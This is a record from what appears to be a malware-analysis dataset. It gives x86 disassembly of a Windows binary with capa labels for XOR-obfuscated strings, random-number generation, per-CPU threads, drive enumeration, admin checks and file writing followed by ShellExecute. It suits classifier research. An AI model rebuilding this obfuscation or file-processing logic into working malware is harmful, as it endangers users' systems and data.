joyce8/EMBER2024-capa huggingface dataset:
Function at 0x407277
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
mov ebx, dword [0x519a88]
push esi
push edi
push ebx
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov esi, dword [ebx + 0x18]
xor edi, edi
mov dword [ebp - 4], edi
test esi, esi
je 0x4073e6
mov ebx, dword [ebp - 0xc]
mov byte [ebp - 0xc], 0x32
mov byte [ebp - 0xb], 5
mov byte [ebp - 0xa], 0x43
mov byte [ebp - 9], 5
mov byte [ebp - 8], 5
mov byte [ebp - 7], 0
mov al, byte [ebp - 0xc]
xor eax, eax
sub byte [ebp + eax - 0xc], 5
inc eax
cmp eax, 5
jb 0x4072c3
lea eax, [ebp - 0xc]
push eax
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x4072e9
xor edi, edi
inc edi
mov dword [ebp - 4], edi
jmp 0x4073d8
cmp dword [esi + 8], 0
jne 0x4073d5
mov eax, dword [ebp + 8]
test dword [esi + 4], eax
je 0x4073d5
push 0x20
pop ecx
call fcn.00405c2d
mov edi, eax
test edi, edi
je 0x4073d5
push dword [esi]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ecx, [eax*2 + 0xa]
call fcn.00405c2d
mov ecx, eax
mov dword [edi], ecx
test ecx, ecx
je 0x4073ce
mov eax, dword [esi]
cmp word [eax + 2], 0x3a
jne 0x40738c
mov dword [ebp - 0x20], 0x6d
xor edx, edx
mov byte [ebp - 0x1c], 0x31
mov byte [ebp - 0x1b], 0x6d
mov byte [ebp - 0x1a], 0x31
mov byte [ebp - 0x19], 0x6d
mov byte [ebp - 0x18], 0x52
mov byte [ebp - 0x17], 0x6d
mov byte [ebp - 0x16], 0x31
mov byte [ebp - 0x15], 0x6d
mov byte [ebp - 0x14], 0x6d
mov al, byte [ebp - 0x1c]
mov byte [ebp - 0x13], 0
mov al, byte [ebp + edx - 0x1c]
mov ecx, dword [ebp - 0x20]
xor cl, al
mov byte [ebp + edx - 0x1c], cl
inc edx
cmp edx, 9
jb 0x40736e
mov ecx, dword [edi]
lea eax, [ebp - 0x1c]
mov byte [ebp - 0x13], 0
jmp 0x407391
mov eax, 0x50ab48
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push dword [esi]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
lea ecx, [edi + 0x18]
and dword [ecx], 0
mov eax, dword [ebx + 0x1c]
mov dword [edi + 0x1c], eax
mov eax, dword [ebx + 0x1c]
push ebx
mov dword [eax], edi
mov dword [ebx + 0x1c], ecx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov dword [esi + 8], 1
jmp 0x4073d5
mov ecx, edi
call fcn.00405cd2
mov edi, dword [ebp - 4]
mov esi, dword [esi + 0x18]
test esi, esi
jne 0x4072a6
mov ebx, dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x407be8
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1394
call fcn.004c0280
push ebx
push esi
push edi
mov esi, ecx
push eax
push edx
xor eax, eax
xor edx, edx
rdtsc
mov dword [0x519864], eax
pop edx
pop eax
or dword [ebp - 0xc], 0xffffffff
xor edx, edx
mov ecx, dword [0x519864]
inc edx
mov dword [ebp - 0x138c], ecx
mov edi, 0x270
mov eax, ecx
shr eax, 0x1e
xor eax, ecx
imul ecx, eax, 0x6c078965
add ecx, edx
mov dword [ebp + edx*4 - 0x138c], ecx
inc edx
cmp edx, edi
jb 0x407c21
mov dword [ebp - 0x1390], edi
cmp esi, 0xffffffff
jne 0x407c56
lea ecx, [ebp - 0x1390]
call fcn.00407cde
mov edx, eax
jmp 0x407c8f
lea ebx, [esi + 1]
xor edi, edi
xor eax, eax
test esi, esi
je 0x407c71
lea ecx, [ebp - 0x1390]
call fcn.00407cde
mov edi, eax
or eax, 0xffffffff
xor edx, edx
div ebx
mov ecx, eax
mov dword [ebp - 4], edx
xor edx, edx
mov eax, edi
div ebx
cmp eax, ecx
jb 0x407c89
cmp dword [ebp - 4], esi
jne 0x407c59
mov eax, edi
xor edx, edx
div ebx
pop edi
pop esi
mov eax, edx
pop ebx
leave
ret

Function at 0x407c96
Capabilities:
Generate random numbers via winapi

Disassembly:
push ecx
mov eax, dword [0x519868]
push esi
push edi
mov edi, edx
test eax, eax
je 0x407cb2
push edi
push 0x20
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
jne 0x407cc7
xor esi, esi
mov ecx, 0xff
call fcn.00407be8
mov byte [esi + edi], al
inc esi
cmp esi, 0x20
jl 0x407cb4
pop edi
pop esi
pop ecx
ret

Function at 0x407cde
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push esi
mov esi, ecx
push edi
mov edi, 0x270
cmp dword [esi], edi
jne 0x407d26
lea edx, [esi + 8]
mov ecx, dword [edx - 4]
xor ecx, dword [edx]
lea edx, [edx + 4]
and ecx, 0x7fffffff
xor ecx, dword [edx - 8]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edx + 0x62c]
xor eax, ecx
mov dword [edx + 0x9b8], eax
sub edi, 1
jne 0x407cee
jmp 0x407d33
cmp dword [esi], 0x4e0
jb 0x407d33
call fcn.00407d6d
mov eax, dword [esi]
pop edi
mov edx, dword [esi + eax*4 + 4]
inc eax
mov dword [esi], eax
mov ecx, edx
mov eax, dword [esi + 0x1384]
shr ecx, 0xb
and eax, ecx
xor edx, eax
mov eax, edx
and eax, 0xff3a58ad
shl eax, 7
xor edx, eax
mov eax, edx
and eax, 0xffffdf8c
shl eax, 0xf
xor edx, eax
mov eax, edx
shr eax, 0x12
xor eax, edx
pop esi
ret
Function at 0x407d6d
Capabilities:
Encode data using xor
Generate random numbers using a mersenne twister

Disassembly:
push ebx
push esi
mov esi, ecx
mov ebx, 0xe3
push edi
lea edi, [esi + 0x9c4]
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi + 0x634]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x407d7f
lea edi, [esi + 0xd50]
mov ebx, 0x18c
mov eax, dword [edi]
lea edx, [edi + 4]
mov ecx, dword [edx]
xor ecx, eax
and ecx, 0x7fffffff
xor ecx, eax
mov eax, ecx
and al, 1
movzx eax, al
neg eax
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [edi - 0xd4c]
xor eax, ecx
mov dword [edi - 0x9c0], eax
lea edi, [edx]
mov eax, dword [edx]
sub ebx, 1
jne 0x407dc4
mov ecx, dword [esi + 0x1380]
xor ecx, dword [esi + 4]
and ecx, 0x7fffffff
xor ecx, dword [esi + 0x1380]
mov eax, ecx
and al, 1
movzx eax, al
neg eax
pop edi
sbb eax, eax
shr ecx, 1
and eax, 0x9908b0df
xor eax, dword [esi + 0x634]
xor eax, ecx
mov dword [esi + 0x9c0], eax
and dword [esi], 0
pop esi
pop ebx
ret
Function at 0x408c94
Capabilities:
Create thread
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
cmp dword [0x5199b0], 0
jne 0x408d5a
push esi
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
imul ecx, dword [ebp - 0x10], 6
xor esi, esi
mov dword [0x51986c], esi
mov dword [0x519894], esi
mov dword [0x519a40], ecx
shl ecx, 2
mov dword [0x519a3c], esi
call fcn.00405c2d
mov dword [0x5199b0], eax
test eax, eax
je 0x408d59
push edi
mov ecx, 0x519a1c
call fcn.0040712c
mov ecx, 0x519874
call fcn.0040712c
mov ecx, 0x5199fc
call fcn.0040712c
mov eax, dword [ebp - 0x10]
mov edi, esi
add eax, eax
je 0x408d50
push esi
push esi
push esi
push 0x407e38
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x5199b0]
mov dword [ecx + edi*4], eax
inc edi
mov eax, dword [ebp - 0x10]
add eax, eax
cmp edi, eax
jb 0x408d09
jmp 0x408d50
xor ecx, ecx
lea eax, [edi + 1]
push ecx
push ecx
and eax, 1
push eax
push 0x40812d
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [0x5199b0]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, dword [0x519a40]
jb 0x408d2e
pop edi
pop esi
leave
ret

Function at 0x408d90
Capabilities:
Create thread

Disassembly:
cmp dword [0x51986c], 0
jne 0x408db4
push 5
xor edx, edx
pop ecx
call fcn.00411a97
and dword [0x519894], 0
mov dword [0x51986c], 1
xor ecx, ecx
jmp fcn.00408d5c

Function at 0x408dc7
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, ecx
call fcn.0040a04f
cmp eax, 3
jne 0x408e29
mov dword [ebp - 0xc], 0x70
xor edx, edx
mov byte [ebp - 8], 0x5b
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0x5d
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x70
mov al, byte [ebp - 8]
mov byte [ebp - 3], 0
mov al, byte [ebp + edx - 8]
mov ecx, dword [ebp - 0xc]
xor cl, al
mov byte [ebp + edx - 8], cl
inc edx
cmp edx, 5
jb 0x408dfe
movzx eax, word [esi + 4]
mov byte [ebp - 3], 0
cmp ax, word [ebp - 8]
je 0x408e29
cmp ax, word [ebp - 6]
jne 0x408e29
xor al, al
jmp 0x408e2b
mov al, 1
pop esi
leave
ret
Function at 0x40951f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push 0x1d
lea esi, [ecx + 4]
pop ebx
mov dl, byte [esi]
mov eax, dword [ecx]
xor al, dl
mov byte [esi], al
inc esi
sub ebx, 1
jne 0x409528
pop edi
pop esi
mov byte [ecx + 0x21], bl
lea eax, [ecx + 4]
pop ebx
ret

Function at 0x409540
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push 0x14
lea esi, [ecx + 4]
pop ebx
mov dl, byte [esi]
mov eax, dword [ecx]
xor al, dl
mov byte [esi], al
inc esi
sub ebx, 1
jne 0x409549
pop edi
pop esi
mov byte [ecx + 0x18], bl
lea eax, [ecx + 4]
pop ebx
ret

Function at 0x409561
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov esi, ecx
xor eax, eax
mov dl, byte [esi + eax + 4]
mov ecx, dword [esi]
add cl, al
xor cl, dl
mov byte [esi + eax + 4], cl
inc eax
cmp eax, 0x1b
jb 0x409567
pop edi
mov byte [esi + 0x1f], 0
lea eax, [esi + 4]
pop esi
ret
Function at 0x409d60
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
xor eax, eax
mov edi, ecx
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
or esi, 0xffffffff
mov dword [ebp - 0x10], eax
push edi
mov dword [ebp - 0xc], eax
mov ebx, esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 4], eax
cmp eax, esi
je 0x409e5b
lea ecx, [ebp - 0x10]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push dword [ebp - 4]
test eax, eax
cmovne esi, dword [ebp - 0x10]
cmovne ebx, dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
jl 0x409e5b
jg 0x409e5b
test esi, esi
je 0x409e5b
test ebx, ebx
jg 0x409e5b
jl 0x409ddf
cmp esi, 0x2000
ja 0x409e5b
mov ecx, edi
call fcn.0040a04f
jmp 0x409df0
cmp word [edi + eax*2], 0x5c
je 0x409df6
dec eax
test eax, eax
jg 0x409de8
jmp 0x409df7
inc eax
lea eax, [edi + eax*2]
mov ebx, 0x519a90
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
xor edx, edx
mov dword [0x5140c3], eax
push edx
push edx
lea ecx, [eax + 1]
push ecx
push 0x5140c7
push eax
push ebx
push edx
push 0xfde9
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [0x514147], esi
mov ecx, edi
push esi
mov esi, 0x51414b
mov edx, esi
call fcn.00409ff2
mov edx, dword [0x514147]
pop ecx
mov ecx, esi
call fcn.00404369
mov dword [0x519a8c], eax
xor eax, eax
inc eax
jmp 0x409e5d
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x409e62
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
mov word [ebp - 0xc], 0x500
lea eax, [ebp - 8]
mov dword [ebp - 4], ebx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x409eb6
lea eax, [ebp - 4]
push eax
push dword [ebp - 8]
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
push dword [ebp - 8]
neg eax
sbb eax, eax
and dword [ebp - 4], eax
call dword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [ebp - 4]
pop ebx
leave
ret

Function at 0x409ebc
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
mov esi, 0x114
lea ecx, [ebp - 0x114]
push esi
call fcn.00405c85
add esp, 4
mov dword [ebp - 0x114], esi
mov eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [ebp - 0x104], 2
pop esi
jne 0x409f0a
cmp dword [ebp - 0x110], 5
jne 0x409f0a
cmp dword [ebp - 0x10c], 2
ja 0x409f0a
xor eax, eax
inc eax
leave
ret
xor eax, eax
leave
ret

Function at 0x409f8a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x409f9e
test al, 0x10
je 0x409f9e
xor eax, eax
inc eax
ret
xor eax, eax
ret
Function at 0x409fa1
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor eax, eax
mov ebx, edx
push eax
push 0x8000000
push 2
push eax
push eax
push 0x40000000
push ecx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x409fe5
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
pop edi
pop esi
sete al
pop ebx
leave
ret

Function at 0x409ff2
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov ebx, edx
mov esi, ecx
call fcn.00409f53
test eax, eax
je 0x40a04a
xor eax, eax
push eax
push 0x8000000
push 3
push eax
push eax
push closesocket
push esi
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [ebp + 8]
mov esi, eax
cmp esi, 0xffffffff
je 0x40a042
push 0
lea eax, [ebp - 4]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 4], edi
sete al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a63c
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x90c
cmp dword [0x5140c3], 0
je 0x40a713
push esi
mov esi, 0x5140c7
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
je 0x40a712
push ebx
xor ebx, ebx
lea eax, [ebp - 0x90c]
push ebx
push 0x10
push eax
push ebx
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov eax, dword [0x5140c3]
inc eax
push eax
lea eax, [ebp - 0x10c]
push eax
push 0xffffffffffffffff
push esi
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x10c]
lea edx, [ebp - 0x90c]
push eax
mov ecx, edx
call fcn.0040a05f
push dword [0x514147]
mov edx, 0x51414b
lea ecx, [ebp - 0x90c]
call fcn.00409fa1
pop ecx
pop ecx
test eax, eax
je 0x40a711
mov byte [ebp - 0xa], 0x78
mov byte [ebp - 9], 9
mov byte [ebp - 8], 0x79
mov byte [ebp - 7], 9
mov byte [ebp - 6], 0x6e
mov byte [ebp - 5], 9
mov byte [ebp - 4], 0x77
mov byte [ebp - 3], 9
mov byte [ebp - 2], 9
mov byte [ebp - 1], bl
mov al, byte [ebp - 0xa]
mov eax, ebx
sub byte [ebp + eax - 0xa], 9
inc eax
cmp eax, 9
jb 0x40a6f0
push 5
push ebx
push ebx
lea eax, [ebp - 0x90c]
push eax
lea eax, [ebp - 0xa]
push eax
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
pop ebx
pop esi
leave
ret

Function at 0x40a715
Capabilities:
Encode data using xor
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
push edi
push 0
push 0
mov dword [ebp - 4], ecx
call ebx
mov edi, eax
test edi, edi
je 0x40a7d7
push esi
lea ecx, [edi*2 + 2]
call fcn.00405c2d
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x40a7d6
push esi
push edi
call ebx
push esi
mov edi, esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
je 0x40a7cf
mov esi, dword [ebp - 4]
push 1
push 0
push 8
mov edx, edi
mov ecx, esi
call fcn.00407183
add esp, 0xc
test eax, eax
je 0x40a7b9
mov dword [ebp - 8], 0x28
xor edx, edx
mov byte [ebp - 4], 0x18
mov byte [ebp - 3], 0x28
mov byte [ebp - 2], 0x28
mov al, byte [ebp - 4]
mov byte [ebp - 1], 0
mov al, byte [ebp + edx - 4]
mov ecx, dword [ebp - 8]
xor cl, al
mov byte [ebp + edx - 4], cl
inc edx
cmp edx, 3
jb 0x40a798
mov edx, edi
mov byte [ebp - 1], 0
lea ecx, [ebp - 4]
call fcn.00411b5f
lea edi, [edi + ebx*2]
add edi, 2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
test ebx, ebx
jne 0x40a766
mov esi, dword [ebp - 0xc]
mov ecx, esi
call fcn.00405cd2
pop esi
pop edi
pop ebx
leave
ret
Function at 0x40a7db
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x824
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
and dword [ebp - 0xc], 0
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
lea ecx, [ebx*2 + 2]
call fcn.00405c2d
mov esi, eax
test esi, esi
je 0x40a91d
and dword [ebp - 0x10], 0
xor edi, edi
xor ecx, ecx
test ebx, ebx
jle 0x40a916
mov edx, dword [ebp - 8]
mov dword [ebp - 0x1c], 0x20
movzx eax, word [edx + edi*2]
cmp eax, 0x22
jne 0x40a846
xor eax, eax
cmp dword [ebp - 0x10], eax
sete al
mov dword [ebp - 0x10], eax
jmp 0x40a857
cmp ax, word [ebp - 0x1c]
jne 0x40a852
cmp dword [ebp - 0x10], 0
je 0x40a857
mov word [esi + ecx*2], ax
inc ecx
test ecx, ecx
je 0x40a90d
lea eax, [ebx - 1]
cmp edi, eax
je 0x40a87d
push 0x20
pop eax
cmp word [edx + edi*2], ax
jne 0x40a90d
cmp dword [ebp - 0x10], 0
jne 0x40a90d
cmp word [esi + ecx*2 - 2], 0x5c
lea eax, [ecx - 1]
cmovne eax, ecx
xor ecx, ecx
mov word [esi + eax*2], cx
mov ecx, dword [ebp - 0xc]
mov eax, ecx
inc ecx
mov dword [ebp - 0xc], ecx
test eax, eax
je 0x40a90b
mov ecx, esi
call fcn.00409f8a
test eax, eax
je 0x40a8ea
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 2
call fcn.00407183
add esp, 0xc
test eax, eax
je 0x40a908
mov byte [ebp - 4], 0x33
mov byte [ebp - 3], 3
mov byte [ebp - 2], 3
mov byte [ebp - 1], 0
mov al, byte [ebp - 4]
xor eax, eax
sub byte [ebp + eax - 4], 3
inc eax
cmp eax, 3
jb 0x40a8d3
mov edx, esi
lea ecx, [ebp - 4]
call fcn.00411b5f
jmp 0x40a908
mov ecx, esi
call fcn.00409f53
test eax, eax
je 0x40a908
mov ecx, dword [ebp - 0x14]
mov edx, esi
push 0
push 0
push 1
call fcn.00407183
add esp, 0xc
mov edx, dword [ebp - 8]
xor ecx, ecx
inc edi
cmp edi, ebx
jl 0x40a830
mov ecx, esi
call fcn.00405cd2
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x18]
push eax
push dword [ebp - 8]
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
xor esi, esi
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x18], esi
jle 0x40a9d5
mov edi, dword [eax + esi*4]
mov ecx, edi
call fcn.0040a04f
mov ebx, eax
cmp ebx, 3
jle 0x40a9c8
cmp word [edi], 0x2d
jne 0x40a9c8
movzx ecx, word [edi + 2]
cmp ecx, 0x54
je 0x40a961
cmp ecx, 0x74
jne 0x40a9c8
cmp word [edi + 4], 0x3d
jne 0x40a9c8
push 0x800
lea ecx, [ebp - 0x820]
call fcn.00405c85
lea edi, [ebx - 2]
mov eax, 0x400
add esp, 4
cmp edi, eax
cmovg edi, eax
xor edx, edx
test edi, edi
jle 0x40a9ab
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx + esi*4]
add ecx, 6
movsx ax, byte [ecx]
lea ecx, [ecx + 2]
mov word [ebp + edx*2 - 0x820], ax
inc edx
cmp edx, edi
jl 0x40a997
lea ecx, [ebp - 0x820]
call fcn.00409f53
test eax, eax
je 0x40a9c8
mov edx, dword [ebp - 0x14]
lea ecx, [ebp - 0x820]
call fcn.0040a9da
mov eax, dword [ebp - 0xc]
inc esi
cmp esi, dword [ebp - 0x18]
jl 0x40a93c
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40a9da
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x60014
call fcn.004c0280
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0xc], edx
push ebx
push pe_nt_image_headers32
push 3
push ebx
push 1
push closesocket
push ecx
mov dword [ebp - 8], ebx
lea esi, [ebp - 0x20010]
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40abcc
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
lea eax, [ebp - 8]
push eax
push 3
mov eax, esi
push eax
push edi
call ebx
test eax, eax
je 0x40aa5e
cmp dword [ebp - 8], 3
jne 0x40aa5e
cmp byte [ebp - 0x20010], 0xef
jne 0x40aa5e
cmp byte [ebp - 0x2000f], 0xbb
jne 0x40aa5e
cmp byte [ebp - 0x2000e], 0xbf
jne 0x40aa5e
mov dword [ebp - 4], 0xfde9
jmp 0x40aa6a
xor eax, eax
push eax
push eax
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x20000
lea ecx, [ebp - 0x20010]
call fcn.00405c85
add esp, 4
lea eax, [ebp - 8]
push 0
push eax
push 0x20000
mov eax, ecx
push eax
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
cmp dword [ebp - 8], eax
jbe 0x40aabb
mov cl, byte [ebp + eax - 0x20010]
cmp cl, 0xd
je 0x40aaad
cmp cl, 0xa
jne 0x40aab5
mov byte [ebp + eax - 0x20010], 0
inc eax
cmp eax, dword [ebp - 8]
jb 0x40aa9c
mov edi, dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [ebp - 4]
cmp byte [esi], 0
je 0x40abac
push 0
push 0
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
test eax, eax
je 0x40abac
push eax
lea eax, [ebp - 0x60010]
push eax
push 0xffffffffffffffff
push esi
push 0
push ebx
call edi
lea ecx, [ebp - 0x60010]
call fcn.00409f8a
test eax, eax
je 0x40ab4f
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 2
call fcn.00407183
add esp, 0xc
test eax, eax
je 0x40abac
mov byte [ebp - 4], 0x3b
mov byte [ebp - 3], 0xb
mov byte [ebp - 2], 0xb
mov byte [ebp - 1], 0
mov al, byte [ebp - 4]
xor eax, eax
sub byte [ebp + eax - 4], 0xb
inc eax
cmp eax, 3
jb 0x40ab34
lea edx, [ebp - 0x60010]
lea ecx, [ebp - 4]
call fcn.00411b5f
jmp 0x40abac
lea ecx, [ebp - 0x60010]
call fcn.00409f53
test eax, eax
je 0x40ab77
mov ecx, dword [ebp - 0xc]
lea edx, [ebp - 0x60010]
push 0
push 0
push 1
call fcn.00407183
add esp, 0xc
jmp 0x40abac
push 2
xor edx, edx
pop ecx
call fcn.00411a97
xor ecx, ecx
xor edx, edx
inc ecx
call fcn.00411a97
lea ecx, [ebp - 0x60010]
call fcn.004067b6
xor edx, edx
push 2
inc edx
pop ecx
call fcn.00411a97
xor edx, edx
xor ecx, ecx
inc edx
inc ecx
call fcn.00411a97
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add esi, eax
jmp 0x40abbc
cmp esi, eax
jae 0x40abcc
inc esi
cmp byte [esi], 0
lea eax, [ebp - 0x10]
je 0x40abb7
cmp esi, eax
jb 0x40aac4
pop edi
pop esi
pop ebx
leave
ret